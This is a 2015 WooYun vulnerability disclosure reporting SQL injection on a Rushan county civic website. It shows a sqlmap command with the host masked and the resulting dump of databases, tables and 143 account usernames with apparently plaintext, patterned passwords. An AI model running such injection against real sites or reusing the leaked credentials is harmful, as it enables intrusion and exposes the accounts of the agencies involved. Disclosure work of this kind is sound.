当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0139976

漏洞标题：乳山民情网站SQL注射/用户信息泄露/疑似管理信息可跑出

相关厂商：乳山民情网站

漏洞作者： 冷白开。

提交时间：2015-09-12 18:27

修复时间：2015-10-29 19:00

公开时间：2015-10-29 19:00

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-12： 细节已通知厂商并且等待厂商处理中
2015-09-14： cncert国家互联网应急中心暂未能联系到相关单位，细节仅向通报机构公开
2015-09-24： 细节向核心白帽子及相关领域专家公开
2015-10-04： 细节向普通白帽子公开
2015-10-14： 细节向实习白帽子公开
2015-10-29： 细节向公众公开

简要描述：

乳山民情网站SQL注射/用户信息泄露/疑似管理信息可跑出

详细说明：

sqlmap.py -u "http://**.**.**.**/info_show.php?id=757" --dbs

1.png

available databases [2]:
[*] information_schema
[*] rs_mq
Database: rs_mq
[20 tables]
+------------------------+
| bm_admin               |
| mydc                   |
| mydc_xqbak201410201524 |
| mydc_xqbak20150323     |
| qyxxdyb                |
| web_admin              |
| web_news               |
| web_set                |
| web_user               |
| wh_zt_info             |
| wl_ad_info             |
| wl_cp_info             |
| wl_cpfl_2              |
| wl_cpfl_3              |
| wl_cpfl_4              |
| wl_dd_info             |
| wl_jf_info             |
| wl_pj_info             |
| wl_sp_info             |
| wl_wl_info             |
+------------------------+
Database: rs_mq
Table: bm_admin
[6 columns]
+-------------+--------------+
| Column      | Type         |
+-------------+--------------+
| bm_content  | text         |
| bm_date     | timestamp    |
| bm_name     | varchar(255) |
| bm_password | varchar(255) |
| id          | int(100)     |
| username    | varchar(255) |
+-------------+--------------+
Database: rs_mq
Table: bm_admin
[143 entries]
+--------------------+
| username           |
+--------------------+
| ajj20131020        |
| bhxq20131020       |
| bs20131020         |
| bstz20131020       |
| bwb20131020        |
| cl20131020         |
| cqgw20131020       |
| ctjt20131020       |
| cxjsj20131020      |
| czb20131020        |
| czj20131020        |
| daj20131020        |
| dgsz20131020       |
| dsj20131020        |
| dxgs20131020       |
| fgj20131020        |
| fjz20131020        |
| fkb20131020        |
| fl20131020         |
| fy20131020         |
| gaj20131020        |
| gbdst20131020      |
| gdgs20131020       |
| gdwlgs20131020     |
| gh120131020        |
| gh20131020         |
| ghj20131020        |
| gjjzx20131020      |
| glj20131020        |
| gsj120131020       |
| gsj20131020        |
| gsl20131020        |
| gtj20131020        |
| gxgs20131020       |
| hbj20131020        |
| hszhb20131020      |
| hwxckfb20131020    |
| hyj20131020        |
| hysz20131020       |
| jcj20131020        |
| jgswj20131020      |
| jgxx20131020       |
| jh20131020         |
| jjdd20131020       |
| jjhxxhj20131020    |
| jjhzj20131020      |
| jjkfq20131020      |
| jkzx20131020       |
| jrgzb20131020      |
| jsj20131020        |
| jtysj20131020      |
| jyj20131020        |
| jysgw20131020      |
| jyzx20131020       |
| jzy20131020        |
| kab20131020        |
| kjj20131020        |
| kx20131020         |
| lgc20131020        |
| lgj20131020        |
| llb20131020        |
| lsj20131020        |
| ltgs20131020       |
| lyj120131020       |
| lyj20131020        |
| mzj120131020       |
| mzj20131020        |
| nab20131020        |
| nfh20131020        |
| ngb20131020        |
| nh20131020         |
| nhz20131020        |
| nx20131020         |
| nyj20131020        |
| nyjxglj20131020    |
| ql20131020         |
| qt20131020         |
| qxj20131020        |
| rdb20131020        |
| rh20131020         |
| rljt20131020       |
| rlzyhshbzj20131020 |
| rmbx20131020       |
| rsbx20131020       |
| rskz20131020       |
| rszz20131020       |
| scjgj              |
| sfb20131020        |
| sfj20131020        |
| sjj20131020        |
| sjw20131020        |
| slj20131020        |
| sls20131020        |
| swb20131020        |
| swj20131020        |
| swjt20131020       |
| syy20131020        |
| syyh20131020       |
| szb20131020        |
| tb20131020         |
| tjczyh20131020     |
| tjj20131020        |
| tpycb20131020      |
| tw20131020         |
| tyj20131020        |
| tzb20131020        |
| wgxj20131020       |
| whyx20131020       |
| whzfj20131020      |
| wjj120131020       |
| wjj20131020        |
| wjz20131020        |
| wsb20131020        |
| wsj20131020        |
| wzb20131020        |
| xcb20131020        |
| xcz120131020       |
| xcz20131020        |
| xfj20131020        |
| xhsd20131020       |
| xjz20131020        |
| xmsyj20131020      |
| xzfwzx20131020     |
| xzzfj20131020      |
| ycgs20131020       |
| ydtx20131020       |
| yjb20131020        |
| yjj20131020        |
| ylz20131020        |
| ywj20131020        |
| yzcxyh20131020     |
| yzj20131020        |
| yzz20131020        |
| zfbzhfcglj20131020 |
| zfw20131020        |
| zh20131020         |
| zhlhcx20131020     |
| zjj20131020        |
| zsyh20131020       |
| zwz20131020        |
| zxb20131020        |
| zyy20131020        |
| zzb20131020        |
+--------------------+
Database: rs_mq
Table: bm_admin
[143 entries]
+--------------------+
| bm_password        |
+--------------------+
| ajj20140101        |
| bhxq20140101       |
| bs20140101         |
| bstz20140101       |
| bwb20140101        |
| cl20140101         |
| cqgw20140101       |
| ctjt20140101       |
| cxjsj20140101      |
| czb20140101        |
| czj20140101        |
| daj20140101        |
| dgsz20140101       |
| dsj20140101        |
| dxgs20140101       |
| fgj20140101        |
| fjz20140101        |
| fkb20140101        |
| fl20140101         |
| fy20140101         |
| gaj20140101        |
| gbdst20140101      |
| gdgs20140101       |
| gdwlgs20140101     |
| gh120140101        |
| gh20140101         |
| ghj20140101        |
| gjjzx20140101      |
| glj20140101        |
| gsj120140101       |
| gsj20140101        |
| gsl20140101        |
| gtj20140101        |
| gxgs20140101       |
| hbj20140101        |
| hszhb20140101      |
| hwxckfb20140101    |
| hyj20140101        |
| hysz20140101       |
| jcj20140101        |
| jgswj20140101      |
| jgxx20140101       |
| jh20140101         |
| jjdd20140101       |
| jjhxxhj20140101    |
| jjhzj20140101      |
| jjkfq20140101      |
| jkzx20140101       |
| jrgzb20140101      |
| jsj20140101        |
| jtysj20140101      |
| jyj20140101        |
| jysgw20140101      |
| jyzx20140101       |
| jzy20140101        |
| kab20140101        |
| kjj20140101        |
| kx20140101         |
| lgc20140101        |
| lgj20140101        |
| llb20140101        |
| lsj20140101        |
| ltgs20140101       |
| lyj120140101       |
| lyj20140101        |
| mzj120140101       |
| mzj20140101        |
| nab20140101        |
| nfh20140101        |
| ngb20140101        |
| nh20140101         |
| nhz20140101        |
| nx20140101         |
| nyj20140101        |
| nyjxglj20140101    |
| ql20140101         |
| qt20140101         |
| qxj20140101        |
| rdb20140101        |
| rh20140101         |
| rljt20140101       |
| rlzyhshbzj20140101 |
| rmbx20140101       |
| rsbx20140101       |
| rskz20140101       |
| rszz20140101       |
| scjgj              |
| sfb20140101        |
| sfj20140101        |
| sjj20140101        |
| sjw20140101        |
| slj20140101        |
| sls20140101        |
| swb20140101        |
| swj20140101        |
| swjt20140101       |
| syy20140101        |
| syyh20140101       |
| szb20140101        |
| tb20140101         |
| tjczyh20140101     |
| tjj20140101        |
| tpycb20140101      |
| tw20140101         |
| tyj20140101        |
| tzb20140101        |
| wgxj20140101       |
| whyx20140101       |
| whzfj20140101      |
| wjj120140101       |
| wjj20140101        |
| wjz20140101        |
| wsb20140101        |
| wsj20140101        |
| wzb20140101        |
| xcb20140101        |
| xcz120140101       |
| xcz20140101        |
| xfj20140101        |
| xhsd20140101       |
| xjz20140101        |
| xmsyj20140101      |
| xzfwzx20140101     |
| xzzfj20140101      |
| ycgs20140101       |
| ydtx20140101       |
| yjb20140101        |
| yjj20140101        |
| ylz20140101        |
| ywj20140101        |
| yzcxyh20140101     |
| yzj20140101        |
| yzz20140101        |
| zfbzhfcglj20140101 |
| zfw20140101        |
| zh20140101         |
| zhlhcx20140101     |
| zjj20140101        |
| zsyh20140101       |
| zwz20140101        |
| zxb20140101        |
| zyy20140101        |
| zzb20140101        |
+--------------------+

管理的密码应该是在web_admin里，老夫跑得头晕不想跑了。。。

漏洞证明：

综上

修复方案：

你们懂

版权声明：转载请注明来源 冷白开。@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2015-09-14 18:58

厂商回复：

CNVD确认所述情况，已经转由CNCERT下发给山东分中心，由其后续协调网站管理单位处置。

最新状态：

暂无

漏洞评价：

评论